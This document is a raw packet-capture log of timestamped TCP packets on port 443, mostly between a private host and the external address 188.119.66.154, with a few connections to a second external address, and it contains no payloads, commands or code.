Dec 20, 2024 01:21:49.475224018 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.475296974 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.475341082 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.475388050 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.546365023 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.546380997 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.546458006 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.546483994 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.546539068 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.555239916 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.555253983 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.555305004 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.555320024 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.555351019 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.555361986 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.562777996 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.562794924 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.562824011 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.562870979 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.562877893 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.562921047 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.571283102 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.571297884 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.571356058 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.571366072 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.571396112 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.571409941 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.579205990 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.579221010 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.579287052 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.579302073 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.579365969 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.579365969 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.587699890 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.587717056 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.587779999 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.587795019 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.587843895 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.595138073 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.595156908 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.595226049 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.595241070 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.595293045 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.733392000 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.733412027 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.733465910 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.733488083 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.733509064 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.733531952 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.738689899 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.738704920 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.738754988 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.738764048 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.738830090 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.744781017 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.744798899 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.744862080 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.744888067 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.744946957 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.750931978 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.750946999 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.751003027 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.751019001 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.751076937 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.756282091 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.756295919 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.756356955 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.756371975 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.756427050 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.762820005 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.762835026 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.762893915 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.762907982 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.762964964 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.768167973 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.768182993 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.768233061 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.768246889 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.768282890 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.768282890 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.784912109 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.784928083 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.784987926 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.785002947 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.785060883 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.924875975 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.924896002 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.925056934 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.925056934 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.925091982 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.925148010 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.930727005 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.930742979 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.930809975 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.930830956 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.930890083 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.931581974 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.931639910 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.931652069 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.931678057 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.931735992 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.931904078 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.931931973 CET	443	49839	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:49.931963921 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:49.931983948 CET	49839	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.414897919 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.415231943 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.415261030 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.416371107 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.416398048 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.416873932 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.416881084 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.416919947 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.417098999 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.417160034 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.418076038 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.419347048 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.419529915 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.419586897 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.459188938 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.459217072 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.463347912 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.474829912 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:50.966854095 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:50.970561028 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.020570993 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.020598888 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.089797974 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089826107 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089843035 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089881897 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.089889050 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089915991 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089922905 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.089943886 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089967966 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.089975119 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.089975119 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.090048075 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.094860077 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.094876051 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.094898939 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.094907045 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.094929934 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.094959974 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.094969034 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.094980955 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.095113039 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.168304920 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.168417931 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.168462992 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.168514013 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.168628931 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.169547081 CET	49845	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.169579983 CET	443	49845	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.177680969 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.177768946 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.177848101 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.178177118 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.178208113 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.204653978 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.204680920 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.204756021 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.204790115 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.204819918 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.204899073 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.282803059 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.282852888 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.282902002 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.282919884 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.282955885 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.282998085 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.372243881 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.372307062 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.372344971 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.372378111 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.372400045 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.372421026 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.399338007 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.399389982 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.399452925 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.399471998 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.399506092 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.401043892 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.411556005 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.411637068 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.411652088 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.411714077 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.412966013 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.538662910 CET	49844	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.538727999 CET	443	49844	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.545594931 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.545643091 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.545830965 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.546228886 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.546242952 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.573306084 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.573352098 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.573436975 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.574697971 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.574718952 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.575242996 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.575259924 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.575372934 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.575793982 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.575805902 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.632724047 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.632810116 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.633047104 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.633342028 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.633378029 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.635665894 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.635699034 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.635766983 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.635937929 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:51.635957003 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:51.916081905 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:51.916100025 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:51.916167021 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:51.916538000 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:51.916553020 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:52.631982088 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:52.632256985 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:52.632289886 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:52.632649899 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:52.633254051 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:52.633328915 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:52.633533001 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:52.679339886 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.001893044 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.002259016 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.002283096 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.002764940 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.003437996 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.003524065 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.003736019 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.029428005 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.029511929 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.029808044 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.029831886 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.029860973 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.029937983 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.030376911 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.030473948 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.031075001 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.031161070 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.031470060 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.031564951 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.031719923 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.031738997 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.047408104 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.075345993 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.075371027 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.086560965 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.086824894 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.086842060 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.088289976 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.088355064 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.088715076 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.088793039 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.089003086 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.089010954 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.091912031 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.092133045 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.092149973 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.095726013 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.095804930 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.096096039 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.096218109 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.096225977 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.096268892 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.128897905 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.144437075 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.144448042 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.190972090 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.193192005 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.238569021 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.313836098 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.313851118 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.313894033 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.313921928 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.313930035 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.313947916 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.313963890 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.313976049 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.313997030 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.394270897 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.394346952 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.394371986 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.394386053 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.394428968 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.394721985 CET	49847	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.394738913 CET	443	49847	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.562297106 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.584476948 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.584650040 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.584883928 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.585649014 CET	443	49849	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.587419033 CET	49850	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.587440968 CET	443	49850	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.594541073 CET	49856	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.594598055 CET	443	49856	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.594891071 CET	49856	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.595195055 CET	49857	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.595225096 CET	443	49857	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.595283985 CET	49857	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.595550060 CET	49857	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.595567942 CET	443	49857	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.595757961 CET	49856	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.595772028 CET	443	49856	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.603065014 CET	49858	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.603082895 CET	443	49858	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.603152037 CET	49858	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.603460073 CET	49858	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.603471041 CET	443	49858	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.612955093 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.617924929 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:53.618392944 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:53.618426085 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:53.619690895 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:53.619759083 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:53.620867968 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:53.620929003 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:53.621093988 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:53.621185064 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:53.621505022 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:53.621522903 CET	443	49854	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:53.629205942 CET	49849	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.641943932 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.645977974 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.663759947 CET	49854	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:53.683413982 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.683444023 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.683485031 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.683501959 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.683523893 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.683532000 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.683545113 CET	49848	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:53.683546066 CET	443	49848	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:53.683574915 CET	443	49848	188.119.66.154	192.168.2.4
